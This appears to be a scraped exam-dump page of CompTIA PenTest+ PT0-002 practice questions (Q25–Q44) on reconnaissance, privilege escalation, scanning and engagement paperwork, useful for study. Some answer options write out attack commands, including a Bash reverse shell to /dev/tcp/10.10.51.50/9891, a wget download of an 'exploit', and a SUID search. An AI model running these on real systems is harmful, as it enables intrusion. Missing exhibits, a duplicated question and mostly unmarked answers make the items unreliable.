PT0-002 Practice Test Questions Updated 142 Questions [Q25-Q44]

Posted byadminMarch 18, 2022Leave a Comment on PT0-002 Practice Test Questions Updated 142 Questions [Q25-Q44]

Rate this post

PT0-002 Practice Test Questions Updated 142 Questions

CompTIA PT0-002 Dumps – Secret To Pass in First Attempt

NO.25 A penetration tester is able to capture the NTLM challenge-response traffic between a client and a server.
Which of the following can be done with the pcap to gain access to the server?

Perform vertical privilege escalation.

Replay the captured traffic to the server to recreate the session.

Use John the Ripper to crack the password.

Utilize a pass-the-hash attack.

NO.26 A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?

Set the SGID on all files in the / directory

Find the /root directory on the system

Find files with the SUID bit set

Find files that were created during exploitation and move them to /dev/null

NO.27 The results of an Nmap scan are as follows:

Which of the following would be the BEST conclusion about this device?

This device may be vulnerable to the Heartbleed bug due to the way transactions over TCP/22 handle heartbeat extension packets, allowing attackers to obtain sensitive information from process memory.

This device is most likely a gateway with in-band management services.

This device is most likely a proxy server forwarding requests over TCP/443.

This device may be vulnerable to remote code execution because of a butter overflow vulnerability in the method used to extract DNS names from packets prior to DNSSEC validation.

NO.28 You are a security analyst tasked with hardening a web server.
You have been given a list of HTTP payloads that were flagged as malicious.
INSTRUCTIONS
Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.
If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Explanation
1. Reflected XSS – Input sanitization (<> …)
2. Sql Injection Stacked – Parameterized Queries
3. DOM XSS – Input Sanitization (<> …)
4. Local File Inclusion – sandbox req
5. Command Injection – sandbox req
6. SQLi union – paramtrized queries
7. SQLi error – paramtrized queries
8. Remote File Inclusion – sandbox
9. Command Injection – input saniti $
10. URL redirect – prevent external calls

NO.29 A penetration tester exploited a unique flaw on a recent penetration test of a bank. After the test was completed, the tester posted information about the exploit online along with the IP addresses of the exploited machines. Which of the following documents could hold the penetration tester accountable for this action?

ROE

SLA

MSA

NDA

NO.30 A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

nmap -vv sUV -p 53, 123-159 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53,123,161-162 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53,137-139,161-162 10.10.1.20/24 -oA udpscan

nmap -vv sUV -p 53, 122-123, 160-161 10.10.1.20/24 -oA udpscan

NO.31 Which of the following would MOST likely be included in the final report of a static application-security test that was written with a team of application developers as the intended audience?

Executive summary of the penetration-testing methods used

Bill of materials including supplies, subcontracts, and costs incurred during assessment

Quantitative impact assessments given a successful software compromise

Code context for instances of unsafe type-casting operations

NO.32 Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

To provide feedback on the report structure and recommend improvements

To discuss the findings and dispute any false positives

To determine any processes that failed to meet expectations during the assessment

To ensure the penetration-testing team destroys all company data that was gathered during the test

NO.33 A penetration tester runs the following command on a system:
find / -user root -perm -4000 -print 2>/dev/null
Which of the following is the tester trying to accomplish?

Set the SGID on all files in the / directory

Find the /root directory on the system

Find files with the SUID bit set

Find files that were created during exploitation and move them to /dev/null

the 2>/dev/null is output redirection, it simply sends all the error messages to infinity and beyond preventing any error messages to appear in the terminal session.

NO.34 Which of the following is the MOST effective person to validate results from a penetration test?

Team leader

Client

Chief Information Officer

Third party

NO.35 A penetration tester has obtained shell access to a Windows host and wants to run a specially crafted binary for later execution using the wmic.exe process call create function. Which of the following OS or filesystem mechanisms is MOST likely to support this objective?

Alternate data streams

PowerShell modules

MP4 steganography

PsExec

NO.36 When developing a shell script intended for interpretation in Bash, the interpreter /bin/bash should be explicitly specified. Which of the following character combinations should be used on the first line of the script to accomplish this goal?

NO.37 A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

Which of the following tools will help the tester prepare an attack for this scenario?

Hydra and crunch

Netcat and cURL

Burp Suite and DIRB

Nmap and OWASP ZAP

NO.38 A penetration tester ran the following command on a staging server:
python -m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

nc 10.10.51.50 9891 < exploit

powershell -exec bypass -f \10.10.51.509891

bash -i >& /dev/tcp/10.10.51.50/9891 0&1>/exploit

wget 10.10.51.50:9891/exploit

NO.39 A new security firm is onboarding its first client. The client only allowed testing over the weekend and needed the results Monday morning. However, the assessment team was not able to access the environment as expected until Monday. Which of the following should the security company have acquired BEFORE the start of the assessment?

A signed statement of work

The correct user accounts and associated passwords

The expected time frame of the assessment

The proper emergency contacts for the client

NO.40 A penetration tester wants to perform reconnaissance without being detected. Which of the following activities have a MINIMAL chance of detection? (Choose two.)

Open-source research

A ping sweep

Traffic sniffing

Port knocking

A vulnerability scan

An Nmap scan

NO.41 A security professional wants to test an IoT device by sending an invalid packet to a proprietary service listening on TCP port 3011. Which of the following would allow the security professional to easily and programmatically manipulate the TCP header length and checksum using arbitrary numbers and to observe how the proprietary service responds?

Nmap

tcpdump

Scapy

hping3

Explanation
https://0xbharath.github.io/art-of-packet-crafting-with-scapy/scapy/creating_packets/index.html

NO.42 Which of the following tools would be MOST useful in collecting vendor and other security-relevant information for IoT devices to support passive reconnaissance?

Shodan

Nmap

WebScarab-NG

Nessus

NO.43 A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

Run nmap with the -o, -p22, and -sC options set against the target

Run nmap with the -sV and -p22 options set against the target

Run nmap with the –script vulners option set against the target

Run nmap with the -sA option set against the target

NO.44 A compliance-based penetration test is primarily concerned with:

obtaining Pll from the protected network.

bypassing protection on edge devices.

determining the efficacy of a specific set of security standards.

obtaining specific information from the protected network.

Loading …